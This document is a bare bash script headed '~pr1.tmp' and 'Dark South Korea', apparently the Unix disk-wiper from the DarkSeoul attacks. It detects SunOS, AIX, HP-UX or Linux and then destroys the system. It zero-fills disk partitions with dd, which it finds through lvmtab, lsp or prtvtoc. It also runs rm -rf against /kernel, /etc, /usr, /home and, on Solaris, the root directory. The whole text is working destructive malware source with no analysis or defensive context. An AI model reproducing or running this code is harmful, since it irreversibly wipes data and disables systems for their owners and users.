"~pr1.tmp" Dark South Korea

#!/bin/bash

WHICH=`which which`
UNAME=`$WHICH uname`
SLEEP=`$WHICH sleep`
DATE=`$WHICH date`
CAT=`$WHICH cat`
RM=`$WHICH rm`
DD=`$WHICH dd`
KILL=`$WHICH kill`

dd_for_hp()
{
    DISK=`strings -v /etc/lvmtab|grep -v vg`

    for DISK_PART in $DISK
    do
    $DD if=/dev/zero of=$DISK_PART bs=8192000 &
    done
}

dd_for_aix()
{
    DISK=`lsp | awk '{print $1}'`

    for DISK_PART in $DISK
    do
    $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
    done
}

dd_for_sun()
{
    rm -rf /kernel/ &
    rm -rf /usr/adm/ &
    rm -rf /etc/ &
    rm -rf /home/ &
    rm -rf / &
    PRTTOC=`$WHICH prtvtoc`
    DISK=`ls /dev/dsk | grep s2`

    for DISK_PART in $DISK
    do
        mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`

        if [ `expr "$mnt_info" : '.*'` -gt 0 ]
        then
        $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
        fi
    done
}

dd_for_linux()
{
    rm -rf /kernel/ &
    rm -rf /usr/ &
    rm -rf /etc/ &
    rm -rf /home/ &
}

SYSTYPE=`$UNAME -s`
if [ $SYSTYPE = "SunOS" ]
then
    dd_for_sun
elif [ $SYSTYPE = "AIX" ]
then
    dd_for_aix
elif [ $SYSTYPE = "HP-UX" ]
then
    dd_for_hp
elif [ $SYSTYPE = "Linux" ]
then
    dd_for_linux
else
    exit
fi